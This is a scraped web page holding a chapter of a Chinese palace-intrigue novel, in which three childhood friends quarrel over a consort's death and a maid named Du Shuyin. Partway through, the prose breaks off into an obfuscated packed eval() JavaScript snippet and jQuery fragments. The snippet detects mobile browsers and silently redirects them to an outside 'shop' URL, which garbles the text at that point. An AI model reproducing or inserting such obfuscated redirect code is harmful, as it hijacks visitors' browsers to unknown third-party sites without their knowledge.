106. 争执
作品:《诛杀穿越者》 易记明轻轻往后一退,躲过这次攻击。他盯着宋含影眼睛看,想要知道他此时的想法。
宋含影见那一拳被他躲过去,下一拳瞬间挥上。易记明又一个侧身,再次躲了过去,他今日没心情和他过招。
宋含影几次攻击都被他躲过,气得站在原地怒骂,“这件事一定和杜书音脱不开干系,就是你一直要护着她,才发生这种事情!”
易记明眉头一紧,他实在想不明白贤妃的死和杜书音会有什么联系,更想不明白宋含影是怎么把这两件事情联系到一起的。
“贤妃的死因还没调查清楚,怎么,你有线索?不如你直接去陛下面前,说不定陛下还会帮你除掉杜书音。”易记明双眸微冷,方才嘲讽的眼中像是含着冰霜,说话也直接起来。
明亲王上前,站在两人之间,一脸忧郁之色,他对易记明道:“明朗,你这是说什么?他怎么可能知道内情,你让他去父皇面前提供假消息,那不就是送他去死吗?”
易记明分给明亲王一个眼神,淡淡道:“你看他这副样子,是想要活的吗?”
这句话把明亲王给呛到了,他回头看了看站在身旁的宋含影,他双眸死死盯着明朗,面上愤怒未减。
明亲王眼中担忧,明朗说得没错,他总是这么糊涂,容易被人利用,可正是因为这样,他们才更要一起拦着他,不让他做出错事,毕竟他们有一起长大的情分。
身旁的宋含影有了新动作,明亲王连忙拉住,“别打了,别打了!这件事情还没有弄明白,你就这么笃定是一个宫女干的?我看她……”
宋含影没等他把话说完,打断喊道:“秀宁就是被她陷害禁足,如今她姐姐莫名身亡,难道她就一点嫌疑没有吗?你这么说话不是在包庇她是什么!”他本就性子急,这会被质疑更是怒火中烧。
没有确切的证据,明亲王也不好说什么,他若是觉得这件事和那宫女有关系,便感觉是冤枉了她,可若是让宋含影再等等,他又觉得自己是在包庇她。他摇摇头,对此感到十分无奈。
“秀宁?”易记明站在一旁,目光冷冷地注视着宋含影,他语气不咸不淡,“你现在可以这么称呼吗?”
易记明知道秦秀宁入宫成了妃子,她的闺名自然不是他们能喊的。这话一出口,宋含影便觉得他又在含沙射影自己,顿觉不爽。
“你觉得不妥,大可告到陛下面前去!”宋含影头脑一热,转头怒道。
明亲王生怕易记明此时掉头就走,他看了一眼没动作的易记明,又瞥了一眼身前的宋含影,一甩衣袖,急道:“好了!我们几个从小一起长大的兄弟情义难道要因为女人产生隔阂吗?”
三人之间的空气像是停滞了,他们站在原地丝毫未动,好像都变成了石像一般。宋含影一动未动,好像明亲王的话对他并没有什么作用,易记明也冷冷地站在一边,只是他眼珠微动,不仔细看并不能察觉。
温热的微风吹到脸颊,易记明这个石像像是解冻一般,彻底复苏过来。
他目光穿过明亲王直视宋含影,道:“你既然觉得这件事和杜书音脱不开关系,那你有什么证据。凭你对秦秀宁的情义?还是凭你对杜书音的了解?你可别忘了,她现在是皇妃,不是什么秦府二小姐。”
这句话好像刺中宋含影的心脏,他顿时大怒,双眼微红充满血丝,指着易记明道:“你现在是拿卫阁首领的身份和我说话吗?你是不是也瞧不起我现在无官无职,拿这个来讥讽……”
易记明没有给他说完话的机会,也没有回答他的问题,口气强硬,反问道:“秦秀宁难道不是因为这个原因才不选你吗?”
“你放屁!”宋含影骂了一声,抬脚往易记明这边冲来,他刚跨出去一步,腰身便被身后的一双手牢牢抱住。
明亲王咬牙,“你们别打!”他一歪头,从宋含影肩膀旁边探出一个头来,望着易记明道:“明朗!你少说几句!”
易记明斜眼见宋含影使劲挣扎腰间的束缚,一副想要和自己拼命的模样,扔下一句“你如果还不想死,以后就离皇宫远一点”便离开了。
听了这话,宋含影本就气,现在更是怒发冲冠,他看易记明转身往府外走,挣扎的力道变大,动作也快了不少。
一转眼的功夫,易记明已经彻底消失,明亲王这才松开宋含影,恨铁不成钢道:“你为什么非要打他,若不是他让着你,难道你还能打得过他吗?你又没学过武……”
宋含影见门口早就没了易记明的身影,一转头对准身后的明亲王怒道:“连你也帮着他!”
明亲王可是陛下唯一子嗣,他自小在王府长大,后来随着父皇一起住进皇宫,这世上还没有人敢这么指着自己。
他目光聚集在眼前那根指着自己的手指上,竟觉得意外的陌生,这种被人指着的感觉既让人羞愤又让人新奇。
他视野越过那根指着自己的手指,看向手指的主人,“随便你吧,反正我们兄弟两人对你做得已经够多了,你想要去送死,那就去吧。”
明亲王面色不佳,绕过那根冒犯人的手指,转身往府门外走去。
原本还算热闹的宋府,一下子变得冷清了,经过一系列的争吵打闹,脑子还没等适应此时安静的周围,他心里竟觉得有些空落落的。
宋含影缓缓放下手,吐出一口气,也意识到自己方才行为不妥。
屋内静谧,除了桌上的热茶还在不断往外冒着热气,窗外的阳光透过窗户钻进屋内,在屋中形成几道光线。
房间里一点声音没有,好像无人一般。
“吱呀”一声,宋含玉推开房门,从屋外进来。她在房间里四处察看,最终发现了坐在书桌上的宋含影。
管家找到她,将几个时辰前发生的事情一五一十说了个清楚。
“哥哥。”宋含玉呼唤一声,房间另一头的宋含影好似没听到一半,连眼睛都没抬一下。
宋含玉忍着气,抬脚走过去,穿过道道束缚在旁边的帷幔,鼻尖闻着屋内点燃的凝神香,这个味道让她心中更加烦闷。
她抬手重重拍在宋含影身前的桌子上,“我在叫你,你干嘛不理我?”
桌后的人愣是一个眼神都没分给她,闻声只是往身后的椅背靠去。她心中冷哼,弯起一侧的嘴角,讥笑一声,“你现在这副模样是想要干什么?因为明亲王不让你进宫?还是你现在见不到秦秀宁?”</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17078794|187145||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
椅子上的宋含影像是特意无视她,对她所说的话恍若未闻,他只是丧气地低着头,双手搭在椅子上,一句回音没有。
宋含玉早就看不惯他这副样子了,方才忍着气和他说话,他竟然还想装死!
心中的怒气再也藏不住,宋含玉骂道:“当初你若是真的喜欢她,就把她娶了啊!犹犹豫豫,等到她入宫了,你现在又是这一副死了人的模样是想要做什么?爹娘在天之灵就是为了看到你这副模样吗?”
不知是哪句话,让一直没反应的宋含影有了动作。他抬头看向妹妹,眼中满是冷意。
宋含玉看向别处,继续道:“你如果真的觉得贤妃的死有问题,那你就入宫偷偷调查,也比在这里伤心要好。”她束缚在脑后的马尾跟着她的动作一晃,垂在肩头。
宋含影无声地摇摇头,泄气道:“我无官无职,凭着爹娘的身份得以继承爵位,这才可以随时入宫,想要调查这件事,陛下不会允准。而且,这是内廷的事情,只会由柳皇后调查。”
宋含玉白了他一眼,掉头往屋外走去。
她这个一根筋的哥哥,究竟什么时候才能明白,陛下不让但是自己可以偷偷调查嘛,他总是将自己无才无职挂在嘴边,难道这样就会有机会吗?
她摇了摇脑袋,走到屋外被刺眼的阳光一照,脑子瞬间清醒不少。算了,他一向是榆木脑袋,还是不要管他的事情了。
一处偏僻的太液亭中坐着一男子。这人刚经历过争吵,正好找了这处地方静心。
绿色的柳树条垂在湖边,挂在水上,在湖面上照出一模一样的另一棵柳树来。微热的暖风袭来,吹动柳条往一侧摆动,风停,柳条又重新回归原位。
看着眼前静谧的画面,易记明心中火气终于消了一些。他脑中还在不断重复着明亲王的那句话,“我们几个从小一起长大的兄弟情义难道要因为女人产生隔阂吗?”
他们是从小住在一个府邸,连教习先生都是同一个,他们应当是最相信彼此的人,可现在,他们早已不理解他们各自心中的所思所想。
越是长大,他们之间的接触就越浅。
总会有那么几个时刻,人脑中的想法会改变的,行为逐渐随之改变,周围的人也变得不理解他了。
承瑞说的或许有些道理,我们不该因为女人而产生分歧。
易记明抓紧桌上的茶水,猛地往喉咙里灌了一口,冷茶入腹,体内的热气随之浇灭,整个人随之冷静下来。
一位穿着深绿色宫服的女子从湖对面的拱门走出来,她手里端着什么东西,脚下飞快,急匆匆地往六尚局而去。
杜书音。
见到那抹熟悉的身影在眼前一晃而过,易记明好不容易平静下来的心情又重新变得剧烈激动起来。
脑中不断浮现杜书音那张脸上的表情,被宫人逼到绝境时惊恐害怕的脸、从太液池爬上来冷得瑟瑟发抖的脸、在毬场被自己揽在怀里时惊讶的脸和方山上憔悴惨白的脸。
这些面容不断浮现在眼前,让人看着既心疼又心酸。
她一个孤苦无依的女子,竟是在这个世界上和自己最相似的人,或许她不该受到那么多痛苦。

